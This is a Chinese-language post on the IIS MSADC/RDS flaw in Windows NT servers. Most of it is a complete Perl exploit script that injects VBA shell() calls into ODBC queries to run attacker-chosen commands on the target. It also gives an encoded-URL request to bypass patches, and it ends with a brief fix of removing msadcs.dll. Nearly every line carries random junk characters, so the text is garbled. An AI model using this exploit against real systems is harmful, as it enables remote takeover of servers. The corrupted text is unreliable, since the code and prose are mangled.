IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E
whCX'Vaj Ka| ,
qkb 涉及程序：
C<u<:4^H Microsoft NT server
ObIL w w/UZ6fu 描述：
J_ y+.p-
5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(// f"c]/ Gr}lr gP S 详细：
~4'AnoD1w 如果你没有时间读详细内容的话，就删除:
hCFgZiH2 c:\Program Files\Common Files\System\Msadc\msadcs.dll
[8$K i$; 有关的安全问题就没有了。
QnN cGH M# a1ev 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
1xsIM'& y3{ F\K 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
##_Jz 5P 关于利用ODBC远程漏洞的描述，请参看:
6L4<c+v_ 2?./S)x) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm || 0n%"h>i <yw(7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
K|^'`FpPO http://www.microsoft.com/security/bulletins/MS99-025faq.asp /@qnEP% 6Qh@lro;y 这里不再论述。
U,e'vS{ N:nhS3N<L 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
$7
FT0?kG G>>TB{} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&w7Ev21 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
` %oJa` 2n|]&D3V"' r>Rm=eKJ #将下面这段保存为txt文件，然后: "perl -x 文件名"
guc[du C0v1x=(xiM #!perl
6xq/ #
bDq[j8IT6 # MSADC/RDS 'usage' (aka exploit) script
bxR6@ #
BfOQ/k)) # by rain.forest.puppy
PTZ/j g@71 #
NuQ
l # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<)am]+Lswy # beta test and find errors!
@})]4H ;2\+O"}4H use Socket; use Getopt::Std;
/.m &rS getopts("e:vd:h:XR", \%args);
glo Y@k~ bjCO@t print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>A_:q yGk TVs#, if (!defined $args{h} && !defined $args{R}) {
3I):W9$Qp print qq~
T _3JAH e Usage: msadc.pl -h <host> { -d <delay> -X -v }
XMpa8 7\ -h <host> = host you want to scan (ip or domain)
& c V$`L -d <seconds> = delay between calls, default 1 second
'"Z\8;5i -X = dump Index Server path table, if available
t'{IE! _ -v = verbose
O}w"@gO@. -e = external dictionary file for step 5
BWG*UjP
M "J ( 0J Or a -R will resume a command session
D6L5X/# .0]\a ~x ~; exit;}
X" m0|| *}< Uh'? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
F(}~~EtPHo if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;:DDz if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
QMAineO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2/F" ;tc\' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
) oAx t70 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lNRGlTD% l>){cI/D# if (!defined $args{R}){ $ret = &has_msadc;
'^10sf`" die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
YDxEWK< 1r?hRJ:' print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0+dc . "cmd /c ";
J<;@RK,c_ $in=<STDIN>; chomp $in;
d":GsI?3 $command="cmd /c " . $in ;
U_[<,JE l2Pry'3 if (defined $args{R}) {&load; exit;}
aP&bW))CI 8gn12._x print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
d.3cd40Q &try_btcustmr;
u/_TR;u= q ;U)xZ _Ew~ print "\nStep 2: Trying to make our own DSN...";
3Z%~ WE;I &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
qEJ#ce]G 1LZ[i89&% print "\nStep 3: Trying known DSNs...";
~;S &known_dsn;
DV{0 |E }N,$4h9D j print "\nStep 4: Trying known .mdbs...";
+, |aIF &known_mdb;
K{ ED mC <N'v-9=2jl if (defined $args{e}){
V]Z!x.x"=y print "\nStep 5: Trying dictionary of DSN names...";
c$P68$FB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
A }3dx!?7j l' mdj!{& print "Sorry Charley...maybe next time?\n";
YM r2|VEU[ exit;
,7h0y j[Q9_0R~lR ##############################################################################
`~k`m{4.a 6Q*Zy[= sub sendraw { # ripped and modded from whisker
H~:EPFi.( sleep($delay); # it's a DoS on the server! At least on mine...
N5d)&a
7? my ($pstr)=@_;
r7^oqEp@B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$H8B%rT] die("Socket problems\n");
1tIJ'#6 if(connect(S,pack "SnA4x8",2,80,$target)){
4^(aG7 select(S); $|=1;
N}gP f
i print $pstr; my @in=<S>;
Q&]f9j_ select(STDOUT); close(S);
-qqI @+u+ return @in;
f"R S,] } else { die("Can't connect...\n"); }}
4..M *U [JVEKc ym ##############################################################################
ORx6r=zg qd<-{ sub make_header { # make the HTTP request
Lvd es.0| my $msadc=<<EOT
v2l*n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
cw3j&k User-Agent: ACTIVEDATA
W 7#dc89} Host: $ip
Lm3~< vP1e Content-Length: $clen
4&kC8
[ r Connection: Keep-Alive
Bw /8-:eb :Xi&H.k)p ADCClientVersion:01.06
u *=8s5Q[ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/Os6 i&; lc[)O3,,B --!ADM!ROX!YOUR!WORLD!
(L<q Jd1Q Content-Type: application/x-varg
G
_-J R Content-Length: $reqlen
/*2)|2w IqAML|C EOT
|i\%> Y, ; $msadc=~s/\n/\r\n/g;
+ l hJ8& return $msadc;}
lG5KZ[/Or `Kbf]"4q ##############################################################################
8+@j %l j = 6'Fm$R sub make_req { # make the RDS request
6,cJ3~!48 my ($switch, $p1, $p2)=@_;
cDIZkni= my $req=""; my $t1, $t2, $query, $dsn;
p1N3AhXY bRD-[) if ($switch==1){ # this is the btcustmr.mdb query
GIZw/L7Yb $query="Select * from Customers where City=" . make_shell();
G e7Uety $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Nsn ~ mY% $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
H <9_B A ? P W_"JZ elsif ($switch==2){ # this is general make table query
`gAW5 i-z5 $query="create table AZZ (B int, C varchar(10))";
Z`<5SHQd $dsn="$p1";}
,@kLH"a0 > JC"YB elsif ($switch==3){ # this is general exploit table query
l;d4Le $query="select * from AZZ where C=" . make_shell();
hVIv-> $dsn="$p1";}
=m;,?("7t3 *#9?9SYSk elsif ($switch==4){ # attempt to hork file info from index server
[Ob09#B%:5 $query="select path from scope()";
^r~O* $dsn="Provider=MSIDXS;";}
=P %?{7 ;pj,U!{%s\ elsif ($switch==5){ # bad query
-}u1ZEND $query="select";
0`V;; w8 $dsn="$p1";}
xz Hb+1+p [/o B jiBA $t1= make_unicode($query);
z HT#bP:o $t2= make_unicode($dsn);
#/>
a`Ur _ $req = "\x02\x00\x03\x00";
wk#cJ`wG; $req.= "\x08\x00" . pack ("S1", length($t1));
lK_T%1Gz $req.= "\x00\x00" . $t1 ;
:%_h'9Qq $req.= "\x08\x00" . pack ("S1", length($t2));
U@9v(TfV $req.= "\x00\x00" . $t2 ;
&F:%y( ;{Y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
<JIqkGeAi return $req;}
$R%tD.d3 xXlx}C ##############################################################################
`S+n ,,l 1 -$+@Xl sub make_shell { # this makes the shell() statement
2wu\.{6Zp return "'|shell(\"$command\")|'";}
dVg'v7G&V( Ma4eu8
##############################################################################
vi.INe R^B8** N sub make_unicode { # quick little function to convert to unicode
NxSSRv^rx my ($in)=@_; my $out;
*zQhTYY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
h=Q2
?O8 return $out;}
VTU(C&"S eA *We ##############################################################################
fA"c9(>m%] Q zg?#| sub rdo_success { # checks for RDO return success (this is kludge)
Hy5 6@jW+E my (@in) = @_; my $base=content_start(@in);
6L rI,d if($in[$base]=~/multipart\/mixed/){
*R}p9;dpO return 1 if( $in[$base+10]=~/^\x09\x00/ );}
]ddH>y&o return 0;}
V-3 ;7 _0BQnzC= ##############################################################################
2}XxRJ0
#"8 'y sub make_dsn { # this makes a DSN for us
\H& ; .??W my @drives=("c","d","e","f");
fR?'HsQg print "\nMaking DSN: ";
&c} 2[= foreach $drive (@drives) {
PjofW%7F print "$drive: ";
I@5$ <SN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
YC$>D? FW "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
K4 -_a{)/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0"Euf41 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
cc3/XBo return 0 if $2 eq "404"; # not found/doesn't exist
3-oKY*jO if($2 eq "200") {
[)?9|yY"` foreach $line (@results) {
e,Z[Nox return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
zJ$U5r/u } return 0;}
M N (o 6VS_L@ ##############################################################################
%g^:0me` F|cli
< sub verify_exists {
L)8%*X my ($page)=@_;
(>,b 5g my @results=sendraw("GET $page HTTP/1.0\n\n");
\GV'{W+o2 return $results[0];}
[aG 4T$DQK@e ##############################################################################
T 9'HQu #3 tC"2MZ sub try_btcustmr {
bN6i *) } my @drives=("c","d","e","f");
Z?d] [zGw my @dirs=("winnt","winnt35","winnt351","win","windows");
c[T@lz(! i9V, foreach $dir (@dirs) {
c$lZ\r" print "$dir -> "; # fun status so you can see progress
mN> (n+ly foreach $drive (@drives) {
.s?^y+e_ print "$drive: "; # ditto
: sw@1 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
z` eMb $reqlenlen=length( "$reqlen" );
:Gzp
(@<@e $clen= 206 + $reqlenlen + $reqlen;
f]mVM(XZN R\Ckk;<$ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
R](cko= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}#2(WHf =< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6y "]2UgQk )TyP{X> ##############################################################################
;U$Rd,T4S 'vYt_T sub odbc_error {
!]5V{3 my (@in)=@_; my $base;
jtq ^((Ux my $base = content_start(@in);
M`8 c|*G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\/C5L:|p_ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wCV~9JTJ! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u?rX:KkS $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bvHQ # :}H return $in[$base+4].$in[$base+5].$in[$base+6];}
~ ]`U)Aw print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
d (:I~ m print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kZ]pV=\Y* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;@:-T/= (Q&O'ng1 ##############################################################################
@6%7X7m }$sTnea sub verbose {
mi7~(V > my ($in)=@_;
KfYT return if !$verbose;
v T
@25 print STDOUT "\n$in\n";}
g3yZi7b5FU Gm3`/!r ##############################################################################
=q|//*t2 :Rnwyj]) sub save {
2[j`bYNe my ($p1, $p2, $p3, $p4)=@_;
ep0dT3& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<r(D\rm D print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-1~o ~yGE close OUT;}
AX'-}5T= L
" 'd(MD ##############################################################################
'1 fyBU @,}tY ?>a sub load {
M ac?HI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
G1*,~1 i open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.>~er?- @p=<IN>; close(IN);
U_.}V $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
c.5u \ I9" $target= inet_aton($ip) || die("inet_aton problems");
\rO!lvX print "Resuming to $ip ...";
+\u\BJ!LAJ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[0]J
2 if($p[1]==1) {
'm"Ez'sS $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
a#x@ e?GvI $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
DO9K my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Zz]/4 4t if (rdo_success(@results)){print "Success!\n";}
]0SqLe else { print "failed\n"; verbose(odbc_error(@results));}}
)>^ Ge9d] elsif ($p[1]==3){
]"htOO if(run_query("$p[3]")){
\ rg;xZa5 print "Success!\n";} else { print "failed\n"; }}
F\ GNLi elsif ($p[1]==4){
-N6ek` if(run_query($drvst . "$p[3]")){
B52dZ b print "Success!\n"; } else { print "failed\n"; }}
d0f(U k exit;}
L@_o*"&j PfB9 .f { ##############################################################################
*~*"p)`< |5&7 ;;$ sub create_table {
k*C[-5&# my ($in)=@_;
*UXa.kT@ $reqlen=length( make_req(2,$in,"") ) - 28;
\PFj w9s $reqlenlen=length( "$reqlen" );
,H<nNBv 3M $clen= 206 + $reqlenlen + $reqlen;
9 g- 8u+& my @results=sendraw(make_header() . make_req(2,$in,""));
#?eME ws return 1 if rdo_success(@results);
>6@,L+-6r my $temp= odbc_error(@results); verbose($temp);
&3x da1H return 1 if $temp=~/Table 'AZZ' already exists/;
?^^TR/ return 0;}
`*`ZgTV #l.s> B4 ##############################################################################
@v! #_% J {x[C\vZsi] sub known_dsn {
\:'6_ K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
] 2ycJ >w my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
kA)`i`gt "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#XqiXM~^R "banner", "banners", "ads", "ADCDemo", "ADCTest");
y@7CY-1 tp }Bz&V foreach $dSn (@dsns) {
wlslG^^(! print ".";
F g'{K%t4 next if (!is_access("DSN=$dSn"));
g[~J107%A if(create_table("DSN=$dSn")){
\"
m&WFm print "$dSn successful\n";
N e z '1 if(run_query("DSN=$dSn")){
x{GFCy7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{yEL$8MC print "Something's borked. Use verbose next time\n";}}} print "\n";}
1,U)rx$H 0]$-}AYM ##############################################################################
,S@B[+VZ V?`|Ha} sub is_access {
"Vp :Sq9y my ($in)=@_;
l8_RA $reqlen=length( make_req(5,$in,"") ) - 28;
fA[T5<66 $reqlenlen=length( "$reqlen" );
t("koA=. $clen= 206 + $reqlenlen + $reqlen;
'?fGI3b~/ my @results=sendraw(make_header() . make_req(5,$in,""));
(v:8p!QN my $temp= odbc_error(@results);
q|IU+r:! 3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(?lT @RY/ return 0;}
yJlRW!@&: FFmXT/K"/j ##############################################################################
'YYT1H) N pQOLX/<? sub run_query {
5~(nHCf> my ($in)=@_;
lH@goh $reqlen=length( make_req(3,$in,"") ) - 28;
`krVfE;_O $reqlenlen=length( "$reqlen" );
]"YXa~b $clen= 206 + $reqlenlen + $reqlen;
w{;~ my @results=sendraw(make_header() . make_req(3,$in,""));
|lu@rN return 1 if rdo_success(@results);
(Kg )cc[B` my $temp= odbc_error(@results); verbose($temp);
wyAh%'V return 0;}
p6)6Gcx >?G!>kw ##############################################################################
ljz=u;O) lL5* l,)To sub known_mdb {
5$X 8|Ve my @drives=("c","d","e","f","g");
q ./jYe my @dirs=("winnt","winnt35","winnt351","win","windows");
6Bexwf<u my $dir, $drive, $mdb;
\yLFV9P}EL my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7uF
@Xh w
!<-e> # this is sparse, because I don't know of many
IlI5xkJ( my @sysmdbs=( "\\catroot\\icatalog.mdb",
Mii&doU "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9y} J|z "\\system32\\certmdb.mdb",
NqFfz9G) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
v:>sS_^ [biz[ fm my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+bb-uoZf "\\cfusion\\cfapps\\forums\\forums_.mdb",
wqap~X "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
S@~ReRew2 "\\cfusion\\cfapps\\security\\realm_.mdb",
R? N+./{ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Nd@/U
c "\\cfusion\\database\\cfexamples.mdb",
02( Ob "\\cfusion\\database\\cfsnippets.mdb",
c|(Q[= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ra_TN ;( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<;jg/ "\\cfusion\\brighttiger\\database\\cleam.mdb",
3v QVk "\\cfusion\\database\\smpolicy.mdb",
m")p]B&i= "\\cfusion\\database\cypress.mdb",
M-F{I%Vx "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
KF! d? "\\website\\cgi-win\\dbsample.mdb",
l2w u>Ar7. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
d>r ]xXB6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
J*ZcZ FbWN ); #these are just
I).eQ8 : foreach $drive (@drives) {
L}_V T
J foreach $dir (@dirs){
{ Q!Xxe>6 foreach $mdb (@sysmdbs) {
+apn3\ _ print ".";
1}p :]/; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5>=4$!` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f 3h]t0M if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2n#H%&^?a print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}/IP\1bG } else { print "Something's borked. Use verbose next time\n"; }}}}}
(hRg0Z= 1 . o0" foreach $drive (@drives) {
:x^e T foreach $mdb (@mdbs) {
d?cCSf print ".";
S T4[d'|j if(create_table($drv . $drive . $dir . $mdb)){
[ p(0g;bx print "\n" . $drive . $dir . $mdb . " successful\n";
89P7iSV#* if(run_query($drv . $drive . $dir . $mdb)){
0 U# m7j print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9o]!D,u8=5 } else { print "Something's borked. Use verbose next time\n"; }}}}
c{x:'@%/s' }
GW 7+# T)e Uo ##############################################################################
r CUs }We-sZ/w7r sub hork_idx {
3-[+g}kak? print "\nAttempting to dump Index Server tables...\n";
1&Mpx!K*T print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
58`Dcx,yJ $reqlen=length( make_req(4,"","") ) - 28;
%/_E8GE
$reqlenlen=length( "$reqlen" );
+vV?[e $clen= 206 + $reqlenlen + $reqlen;
0[8uuqV[cB my @results=sendraw2(make_header() . make_req(4,"",""));
f N9uSnu
if (rdo_success(@results)){
Tq6\oIBkV my $max=@results; my $c; my %d;
'I>geW?{QK for($c=19; $c<$max; $c++){
1p<*11 $results[$c]=~s/\x00//g;
li#ep?5h^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
gnf4H
V~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-afNiNiY $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5F ]2.<i $d{"$1$2"}="";}
_b * gg foreach $c (keys %d){ print "$c\n"; }
6!=q+sw/X } else {print "Index server doesn't seem to be installed.\n"; }}
Z l. ,pcL eF4f7>5Cv ##############################################################################
,WAJ&
'^ [EQTrr(
D sub dsn_dict {
r V*Ri~Vx open(IN, "<$args{e}") || die("Can't open external dictionary\n");
kp6 &e while(<IN>){
i|S/g.r $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
$2Bll 5!] next if (!is_access("DSN=$dSn"));
v9#F\ F / if(create_table("DSN=$dSn")){
RS2uk 7MB print "$dSn successful\n";
bY~V?yNgKM if(run_query("DSN=$dSn")){
I y5)SZ' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\"Qa)1 | print "Something's borked. Use verbose next time\n";}}}
H5CL0#I print "\n"; close(IN);}
H#T& 7X_< WP^w Ni
~> ##############################################################################
ITz+O=I4R] 3XncEdy_ sub sendraw2 { # ripped and modded from whisker
BJp~/H`vd sleep($delay); # it's a DoS on the server! At least on mine...
%P C[-(Q
my ($pstr)=@_;
3aJYl3:0B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}5Km \OI die("Socket problems\n");
@jZ1WHS_a if(connect(S,pack "SnA4x8",2,80,$target)){
Dh<}j3] print "Connected. Getting data";
:*t5? open(OUT,">raw.out"); my @in;
mKUm*m#< R select(S); $|=1; print $pstr;
jm'^>p,9G while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-"x@ V7X close(OUT); select(STDOUT); close(S); return @in;
dChMjaix } else { die("Can't connect...\n"); }}
FB3}M)G> M Q0g^% ##############################################################################
S2#@j # \ ae Eio;G1 sub content_start { # this will take in the server headers
'<6DLtZl my (@in)=@_; my $c;
[ 88PCA: for ($c=1;$c<500;$c++) {
EbJc%%c if($in[$c] =~/^\x0d\x0a/){
XXXQA Y-,C if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
D&DbxTi else { return $c+1; }}}
`1lGAKv return -1;} # it should never get here actually
uu/2C \n} Ve xxdg ##############################################################################
yMpZ-b$*~ \86NV="U sub funky {
|:L}/onK my (@in)=@_; my $error=odbc_error(@in);
v"_E0
3! if($error=~/ADO could not find the specified provider/){
<2N=c H' print "\nServer returned an ADO miscofiguration message\nAborting.\n";
u $D%Iz exit;}
g#G ]}8C if($error=~/A Handler is required/){
ezS@`_pR; print "\nServer has custom handler filters (they most likely are patched)\n";
N).'> exit;}
J"XZnb)E= if($error=~/specified Handler has denied Access/){
k/) h @K8@ print "\nServer has custom handler filters (they most likely are patched)\n";
N_l_^yD exit;}}
5!Ovd
O}g YU\k D ##############################################################################
$KS!vS7 qTG i9OP6/ sub has_msadc {
gN]\#s@[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
~9@83Cs2 my $base=content_start(@results);
q RRvZhf return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
r$Oa return 0;}
c IPOI'3d a.a
,_ ########################
;R$2+9 ! %N@>[ VL|Z+3L 解决方案：
bKE iS8x 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
D[Q/:_2l 2、移除web 目录: /msadc
